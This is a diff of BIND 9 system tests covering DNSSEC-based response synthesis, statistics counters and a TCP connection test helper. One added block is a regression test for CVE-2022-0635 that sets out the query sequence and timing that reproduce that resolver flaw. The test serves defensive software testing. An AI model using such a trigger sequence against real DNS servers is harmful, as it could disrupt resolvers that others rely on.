+	check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-1-nsec.example/AAAA > /dev/null || ret=1
+    fi
+    digcomp wildnodata1nsec.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check synthesized wildcard NODATA 2 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-2-nsec.example. @10.53.0.${ns} AAAA > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    if [ ${synth} = yes ]
+    then
+	check_synth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-2-nsec.example/AAAA > /dev/null && ret=1
+    else
+	check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-2-nsec.example/AAAA > /dev/null || ret=1
+    fi
+    digcomp wildnodata2nsec.out dig.out.ns${ns}.test$n || ret=1
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
+
+    echo_i "check synthesized wildcard NODATA 2 NSEC after data response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    # Use AAAA to avoid cached qname minimisation _.wild-2-nsec-afterdata.example A record
+    dig_with_opts b.wild-2-nsec-afterdata.example. @10.53.0.${ns} AAAA > dig.out.a.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.a.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.a.ns${ns}.test$n || ret=1
+    check_nosynth_aaaa b.wild-2-nsec-afterdata.example. dig.out.a.ns${ns}.test$n || ret=1
+    #
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-2-nsec-afterdata.example. @10.53.0.${ns} TLSA > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    if [ ${synth} = yes ]
+    then
+	check_synth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-2-nsec-afterdata.example/TLSA > /dev/null && ret=1
+    else
+	check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-2-nsec-afterdata.example/TLSA > /dev/null || ret=1
+    fi
+    digcomp wildnodata2nsecafterdata.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check insecure NXDOMAIN response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.insecure.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NXDOMAIN dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    nextpart ns1/named.run | grep b.insecure.example/A > /dev/null || ret=1
+    digcomp insecure.nxdomain.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check insecure NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts nodata.insecure.example. @10.53.0.${ns} aaaa > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    nextpart ns1/named.run | grep nodata.insecure.example/AAAA > /dev/null || ret=1
+    digcomp insecure.nodata.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check insecure wildcard response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-a.insecure.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    grep "b\.wild-a\.insecure\.example\..*3600.IN.A" dig.out.ns${ns}.test$n > /dev/null || ret=1
+    nextpart ns1/named.run | grep b.wild-a.insecure.example/A > /dev/null || ret=1
+    digcomp insecure.wild.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check insecure wildcard CNAME response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-cname.insecure.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_cname b.wild-cname.insecure.example dig.out.ns${ns}.test$n || ret=1
+    nextpart ns1/named.run | grep b.wild-cname.insecure.example/A > /dev/null || ret=1
+    grep "ns1.insecure.example.*.IN.A" dig.out.ns${ns}.test$n > /dev/null || ret=1
+    digcomp insecure.wildcname.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check insecure wildcard NODATA 1 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-1-nsec.insecure.example. @10.53.0.${ns} AAAA > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    digcomp insecure.wildnodata1nsec.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check insecure wildcard NODATA 2 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-2-nsec.insecure.example. @10.53.0.${ns} AAAA > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    digcomp insecure.wildnodata2nsec.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check insecure wildcard NODATA 2 NSEC after data response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-2-nsec-afterdata.insecure.example. @10.53.0.${ns} AAAA > dig.out.a.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.a.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.a.ns${ns}.test$n || ret=1
+    check_nosynth_aaaa b.wild-2-nsec-afterdata.insecure.example. dig.out.a.ns${ns}.test$n || ret=1
+    #
+    dig_with_opts b.wild-2-nsec-afterdata.insecure.example. @10.53.0.${ns} TLSA > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    digcomp insecure.wildnodata2nsecafterdata.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check minimal NXDOMAIN response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts nxdomaic.minimal. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NXDOMAIN dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa minimal. dig.out.ns${ns}.test$n || ret=1
+    nextpart ns1/named.run | grep nxdomaic.minimal/A > /dev/null || ret=1
+    digcomp minimal.nxdomain.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check black lie NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts black.minimal. @10.53.0.${ns} aaaa > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa minimal. dig.out.ns${ns}.test$n || ret=1
+    nextpart ns1/named.run | grep black.minimal/AAAA > /dev/null || ret=1
+    digcomp black.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check bad type map NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts badtypemap.minimal. @10.53.0.${ns} HINFO > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa minimal. dig.out.ns${ns}.test$n || ret=1
+    grep 'badtypemap.minimal.*3600.IN.NSEC.black.minimal. A$' dig.out.ns${ns}.test$n > /dev/null || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check bad type map NODATA response with existent data (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts badtypemap.minimal. @10.53.0.${ns} AAAA > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_aaaa badtypemap.minimal. dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check SOA without DNSKEY bad type map NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts soa-without-dnskey. @10.53.0.${ns} A > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa soa-without-dnskey. dig.out.ns${ns}.test$n || ret=1
+    grep 'soa-without-dnskey.*3600.IN.NSEC.ns1.soa-without-dnskey. NS SOA RRSIG NSEC$' dig.out.ns${ns}.test$n > /dev/null || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check 'rndc stats' output for 'covering nsec returned' (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    ${RNDCCMD} 10.53.0.${ns} stats 2>&1 | sed 's/^/ns6 /' | cat_i
+    # 2 views, _bind should always be '0 covering nsec returned'
+    count=$(grep "covering nsec returned" ns${ns}/named.stats | wc -l)
+    test $count = 2 || ret=1
+    zero=$(grep " 0 covering nsec returned" ns${ns}/named.stats | wc -l)
+    if [ ${synth} = yes ]
+    then
+	test $zero = 1 || ret=1
+    else
+	test $zero = 2 || ret=1
+    fi
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check 'rndc stats' output for 'cache NSEC auxiliary database nodes' (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    # 2 views, _bind should always be '0 cache NSEC auxiliary database nodes'
+    count=$(grep "cache NSEC auxiliary database nodes" ns${ns}/named.stats | wc -l)
+    test $count = 2 || ret=1
+    zero=$(grep "0 cache NSEC auxiliary database nodes" ns${ns}/named.stats | wc -l)
+    if [ ${ad} = yes ]
+    then
+	test $zero = 1 || ret=1
+    else
+	test $zero = 2 || ret=1
+    fi
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    for synthesized in NXDOMAIN no-data wildcard
+    do
+	case $synthesized in
+	NXDOMAIN) count=1;;
+	no-data) count=4;;
+	wildcard) count=2;;
+	esac
+	echo_i "check 'rndc stats' output for 'synthesized a ${synthesized} response' (synth-from-dnssec ${description};) ($n)"
+	ret=0
+	if [ ${synth} = yes ]
+	then
+	    grep "$count synthesized a ${synthesized} response" ns${ns}/named.stats > /dev/null || ret=1
+	else
+	    grep "synthesized a ${synthesized} response" ns${ns}/named.stats > /dev/null && ret=1
+	fi
+	n=$((n+1))
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+   done
+
+   if ${FEATURETEST} --have-libxml2 && [ -x "${CURL}" ] ; then
+	echo_i "getting XML statisistcs for (synth-from-dnssec ${description};) ($n)"
+	ret=0
+	xml=xml.out$n
+	${CURL} http://10.53.0.${ns}:${EXTRAPORT1}/xml/v3/server > $xml 2>/dev/null || ret=1
+	n=$((n+1))
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+
+	echo_i "check XML for 'CoveringNSEC' with (synth-from-dnssec ${description};) ($n)"
+	ret=0
+	counter=$(sed -n 's;.*<view name="_default">.*\(<counter name="CoveringNSEC">[0-9]*</counter>\).*</view><view.*;\1;gp' $xml)
+	count=$(echo "$counter" | grep CoveringNSEC | wc -l)
+	test $count = 1 || ret=1
+	zero=$(echo "$counter" | grep ">0<" | wc -l)
+	if [ ${synth} = yes ]
+	then
+	    test $zero = 0 || ret=1
+	else
+	    test $zero = 1 || ret=1
+	fi
+	n=$((n+1))
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+
+	echo_i "check XML for 'CacheNSECNodes' with (synth-from-dnssec ${description};) ($n)"
+	ret=0
+	counter=$(sed -n 's;.*<view name="_default">.*\(<counter name="CacheNSECNodes">[0-9]*</counter>\).*</view><view.*;\1;gp' $xml)
+	count=$(echo "$counter" | grep CacheNSECNodes | wc -l)
+	test $count = 1 || ret=1
+	zero=$(echo "$counter" | grep ">0<" | wc -l)
+	if [ ${ad} = yes ]
+	then
+	    test $zero = 0 || ret=1
+	else
+	    test $zero = 1 || ret=1
+	fi
+	n=$((n+1))
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+
+	for synthesized in SynthNXDOMAIN SynthNODATA SynthWILDCARD
+	do
+	    case $synthesized in
+	    SynthNXDOMAIN) count=1;;
+	    SynthNODATA) count=4;;
+	    SynthWILDCARD) count=2;;
+	    esac
+
+	    echo_i "check XML for '$synthesized}' with (synth-from-dnssec ${description};) ($n)"
+	    ret=0
+	    if [ ${synth} = yes ]
+	    then
+		grep '<counter name="'$synthesized'">'$count'</counter>' $xml > /dev/null || ret=1
+	    else
+		grep '<counter name="'$synthesized'">'0'</counter>' $xml > /dev/null || ret=1
+	    fi
+	    n=$((n+1))
+	    if [ $ret != 0 ]; then echo_i "failed"; fi
+	    status=$((status+ret))
+	done
+   else
+	echo_i "Skipping XML statistics checks"
+   fi
+
+   if $FEATURETEST --have-json-c && [ -x "${CURL}" ] ; then
+	echo_i "getting JSON statisistcs for (synth-from-dnssec ${description};) ($n)"
+	ret=0
+	json=json.out$n
+	${CURL} http://10.53.0.${ns}:${EXTRAPORT1}/json/v1/server > $json 2>/dev/null || ret=1
+	n=$((n+1))
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+
+	echo_i "check JSON for 'CoveringNSEC' with (synth-from-dnssec ${description};) ($n)"
+	ret=0
+	count=$(grep '"CoveringNSEC":' $json | wc -l)
+	test $count = 2 || ret=1
+	zero=$(grep '"CoveringNSEC":0' $json | wc -l)
+	if [ ${synth} = yes ]
+	then
+	    test $zero = 1 || ret=1
+	else
+	    test $zero = 2 || ret=1
+	fi
+	n=$((n+1))
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+
+	echo_i "check JSON for 'CacheNSECNodes' with (synth-from-dnssec ${description};) ($n)"
+	ret=0
+	count=$(grep '"CacheNSECNodes":' $json | wc -l)
+	test $count = 2 || ret=1
+	zero=$(grep '"CacheNSECNodes":0' $json | wc -l)
+	if [ ${ad} = yes ]
+	then
+	    test $zero = 1 || ret=1
+	else
+	    test $zero = 2 || ret=1
+	fi
+	n=$((n+1))
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+
+	for synthesized in SynthNXDOMAIN SynthNODATA SynthWILDCARD
+	do
+	    case $synthesized in
+	    SynthNXDOMAIN) count=1;;
+	    SynthNODATA) count=4;;
+	    SynthWILDCARD) count=2;;
+	    esac
+
+	    echo_i "check JSON for '$synthesized}' with (synth-from-dnssec ${description};) ($n)"
+	    ret=0
+	    if [ ${synth} = yes ]
+	    then
+		grep '"'$synthesized'":'$count'' $json > /dev/null || ret=1
+	    else
+		grep '"'$synthesized'":' $json > /dev/null && ret=1
+	    fi
+	    n=$((n+1))
+	    if [ $ret != 0 ]; then echo_i "failed"; fi
+	    status=$((status+ret))
+	done
+   else
+	echo_i "Skipping JSON statistics checks"
+   fi
 done
 
 echo_i "check redirect response (+dnssec) (synth-from-dnssec <default>;) ($n)"
 ret=0
-dig_with_opts b.redirect. @10.53.0.3 a > dig.out.ns2.test$n || ret=1
-grep "flags:[^;]* ad[ ;]" dig.out.ns2.test$n > /dev/null || ret=1
-grep "status: NXDOMAIN," dig.out.ns2.test$n > /dev/null || ret=1
-grep "\..*3600.IN.SOA" dig.out.ns2.test$n > /dev/null || ret=1
+synth=${synth_default}
+dig_with_opts b.redirect. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+check_ad_flag yes dig.out.ns3.test$n || ret=1
+check_status NXDOMAIN dig.out.ns3.test$n || ret=1
+if [ ${synth} = yes ]
+then
+    check_synth_soa . dig.out.ns3.test$n || ret=1
+else
+    check_nosynth_soa . dig.out.ns3.test$n || ret=1
+fi
 n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "check redirect response (+nodnssec) (synth-from-dnssec <default>;) ($n)"
 ret=0
-dig_with_opts +nodnssec b.redirect. @10.53.0.3 a > dig.out.ns2.test$n || ret=1
-grep "flags:[^;]* ad[ ;]" dig.out.ns2.test$n > /dev/null && ret=1
-grep "status: NOERROR," dig.out.ns2.test$n > /dev/null || ret=1
-grep 'b\.redirect\..*300.IN.A.100\.100\.100\.2' dig.out.ns2.test$n > /dev/null || ret=1
+dig_with_opts +nodnssec b.redirect. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+check_ad_flag no dig.out.ns3.test$n || ret=1
+check_status NOERROR dig.out.ns3.test$n || ret=1
+grep 'b\.redirect\..*300.IN.A.100\.100\.100\.2' dig.out.ns3.test$n > /dev/null || ret=1
 n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-
 echo_i "check DNAME handling (synth-from-dnssec yes;) ($n)"
 ret=0
 dig_with_opts dnamed.example. ns @10.53.0.5 > dig.out.ns5.test$n || ret=1
 dig_with_opts a.dnamed.example. a @10.53.0.5 > dig.out.ns5-1.test$n || ret=1
-grep "status: NOERROR," dig.out.ns5-1.test$n > /dev/null || ret=1
+check_status NOERROR dig.out.ns5-1.test$n || ret=1
+n=$((n+1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "regression test for CVE-2022-0635 ($n)"
+ret=0
+# add DNAME to cache
+dig_with_opts dname.dnamed. dname @10.53.0.5 > dig.out.ns5-1.test$n || ret=1
+grep "status: NOERROR" dig.out.ns5-1.test$n >/dev/null || ret=1
+# add A record to cache at name before DNAME owner
+dig_with_opts a.dnamed. a @10.53.0.5 > dig.out.ns5-2.test$n || ret=1
+grep "status: NOERROR" dig.out.ns5-2.test$n >/dev/null || ret=1
+# add NSEC record to cache at name before DNAME owner
+dig_with_opts a.dnamed. aaaa @10.53.0.5 > dig.out.ns5-3.test$n || ret=1
+grep "status: NOERROR" dig.out.ns5-3.test$n >/dev/null || ret=1
+# wait for NSEC to timeout
+sleep 6
+# use DNAME for lookup
+dig_with_opts b.dname.dnamed a @10.53.0.5 > dig.out.ns5-4.test$n || ret=1
+grep "status: NXDOMAIN" dig.out.ns5-4.test$n >/dev/null || ret=1
+n=$((n+1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "check synth-from-dnssec with grafted zone (forward only) ($n)"
+ret=0
+#prime cache with NXDOMAIN NSEC covering 'fun' to 'minimal'
+dig_with_opts internal @10.53.0.5 > dig.out.ns5-1.test$n || ret=1
+grep "status: NXDOMAIN" dig.out.ns5-1.test$n >/dev/null || ret=1
+grep '^fun\..*NSEC.minimal\. ' dig.out.ns5-1.test$n >/dev/null || ret=1
+#perform lookup in grafted zone
+dig_with_opts example.internal @10.53.0.5 > dig.out.ns5-2.test$n || ret=1
+grep "status: NOERROR" dig.out.ns5-2.test$n >/dev/null || ret=1
+grep '^example\.internal\..*A.1.2.3.4$' dig.out.ns5-2.test$n >/dev/null || ret=1
+n=$((n+1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "check synth-from-dnssec with grafted zone (primary zone) ($n)"
+ret=0
+#prime cache with NXDOMAIN NSEC covering 'fun' to 'minimal'
+dig_with_opts internal @10.53.0.5 > dig.out.ns5-1.test$n || ret=1
+grep "status: NXDOMAIN" dig.out.ns5-1.test$n >/dev/null || ret=1
+grep '^fun\..*NSEC.minimal\. ' dig.out.ns5-1.test$n >/dev/null || ret=1
+#perform lookup in grafted zone
+dig_with_opts example.internal2 @10.53.0.5 > dig.out.ns5-2.test$n || ret=1
+grep "status: NOERROR" dig.out.ns5-2.test$n >/dev/null || ret=1
+grep '^example\.internal2\..*A.1.2.3.4$' dig.out.ns5-2.test$n >/dev/null || ret=1
 n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
diff --git a/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py b/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py
new file mode 100644
index 0000000000..5cbf8488ae
--- /dev/null
+++ b/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_synthfromdnssec(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/tcp/ans6/ans.py b/bin/tests/system/tcp/ans6/ans.py
index 10baba0ed4..4595ddcd07 100644
--- a/bin/tests/system/tcp/ans6/ans.py
+++ b/bin/tests/system/tcp/ans6/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 ############################################################################
 #
@@ -42,10 +42,11 @@
 
 # Timeout for establishing all connections requested by a single 'open' command.
 OPEN_TIMEOUT = 2
-VERSION_QUERY = b'\x00\x1e\xaf\xb8\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07version\x04bind\x00\x00\x10\x00\x03'
+VERSION_QUERY = b"\x00\x1e\xaf\xb8\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07version\x04bind\x00\x00\x10\x00\x03"
+
 
 def log(msg):
-    print(datetime.datetime.now().strftime('%d-%b-%Y %H:%M:%S.%f ') + msg)
+    print(datetime.datetime.now().strftime("%d-%b-%Y %H:%M:%S.%f ") + msg)
 
 
 def open_connections(active_conns, count, host, port):
@@ -58,14 +59,14 @@ def open_connections(active_conns, count, host, port):
     except socket.error:
         family = socket.AF_INET6
 
-    log('Opening %d connections...' % count)
+    log("Opening %d connections..." % count)
 
     for _ in range(count):
         sock = socket.socket(family, socket.SOCK_STREAM)
         sock.setblocking(0)
         err = sock.connect_ex((host, port))
         if err not in (0, errno.EINPROGRESS):
-            log('%s on connect for socket %s' % (errno.errorcode[err], sock))
+            log("%s on connect for socket %s" % (errno.errorcode[err], sock))
             errors.append(sock)
         else:
             queued.append(sock)
@@ -81,35 +82,35 @@ def open_connections(active_conns, count, host, port):
             queued.remove(sock)
             err = sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR)
             if err:
-                log('%s for socket %s' % (errno.errorcode[err], sock))
+                log("%s for socket %s" % (errno.errorcode[err], sock))
                 errors.append(sock)
             else:
                 sock.send(VERSION_QUERY)
                 active_conns.append(sock)
 
     if errors:
-        log('result=FAIL: %d connection(s) failed' % len(errors))
+        log("result=FAIL: %d connection(s) failed" % len(errors))
     elif queued:
-        log('result=FAIL: Timed out, aborting %d pending connections' % len(queued))
+        log("result=FAIL: Timed out, aborting %d pending connections" % len(queued))
         for sock in queued:
             sock.close()
     else:
-        log('result=OK: Successfully opened %d connections' % count)
+        log("result=OK: Successfully opened %d connections" % count)
 
 
 def close_connections(active_conns, count):
-    log('Closing %s connections...' % "all" if count == 0 else str(count))
+    log("Closing %s connections..." % "all" if count == 0 else str(count))
     if count == 0:
         count = len(active_conns)
     for _ in range(count):
         sock = active_conns.pop(0)
         sock.close()
-    log('result=OK: Successfully closed %d connections' % count)
+    log("result=OK: Successfully closed %d connections" % count)
 
 
 def sigterm(*_):
-    log('SIGTERM received, shutting down')
-    os.remove('ans.pid')
+    log("SIGTERM received, shutting down")
+    os.remove("ans.pid")
     sys.exit(0)
 
 
@@ -118,16 +119,16 @@ def main():
 
     signal.signal(signal.SIGTERM, sigterm)
 
-    with open('ans.pid', 'w') as pidfile:
+    with open("ans.pid", "w") as pidfile:
         print(os.getpid(), file=pidfile)
 
-    listenip = '10.53.0.6'
+    listenip = "10.53.0.6"
     try:
-        port = int(os.environ['CONTROLPORT'])
+        port = int(os.environ["CONTROLPORT"])
     except KeyError:
         port = 5309
 
-    log('Listening on %s:%d' % (listenip, port))
+    log("Listening on %s:%d" % (listenip, port))
 
     ctlsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     ctlsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
@@ -136,21 +137,21 @@ def main():
 
     while True:
         (clientsock, _) = ctlsock.accept()
-        log('Accepted control connection from %s' % clientsock)
-        cmdline = clientsock.recv(512).decode('ascii').strip()
+        log("Accepted control connection from %s" % clientsock)
+        cmdline = clientsock.recv(512).decode("ascii").strip()
         if cmdline:
-            log('Received command: %s' % cmdline)
+            log("Received command: %s" % cmdline)
             cmd = cmdline.split()
-            if cmd[0] == 'open':
+            if cmd[0] == "open":
                 count, host, port = cmd[1:]
                 open_connections(active_conns, int(count), host, int(port))
-            elif cmd[0] == 'close':
-                (count, ) = cmd[1:]
+            elif cmd[0] == "close":
+                (count,) = cmd[1:]
                 close_connections(active_conns, int(count))
             else:
-                log('result=FAIL: Unknown command')
+                log("result=FAIL: Unknown command")
         clientsock.close()
 
 
-if __name__ == '__main__':
+if __name__ == "__main__":
     main()
diff --git a/bin/tests/system/tcp/clean.sh b/bin/tests/system/tcp/clean.sh
index 1cca5dbdf1..1ea5b60d0f 100644
--- a/bin/tests/system/tcp/clean.sh
+++ b/bin/tests/system/tcp/clean.sh
@@ -1,18 +1,20 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f */named.memstats
-rm -f */named.run
-rm -f */named.conf
-rm -f */named.stats*
+rm -f ./*/named.memstats
+rm -f ./*/named.run
+rm -f ./*/named.conf
+rm -f ./*/named.stats*
 rm -f ans6/ans.run*
 rm -f dig.out*
 rm -f rndc.out*
diff --git a/bin/tests/system/tcp/ns1/named.conf.in b/bin/tests/system/tcp/ns1/named.conf.in
index 0a614cae79..010e75449f 100644
--- a/bin/tests/system/tcp/ns1/named.conf.in
+++ b/bin/tests/system/tcp/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
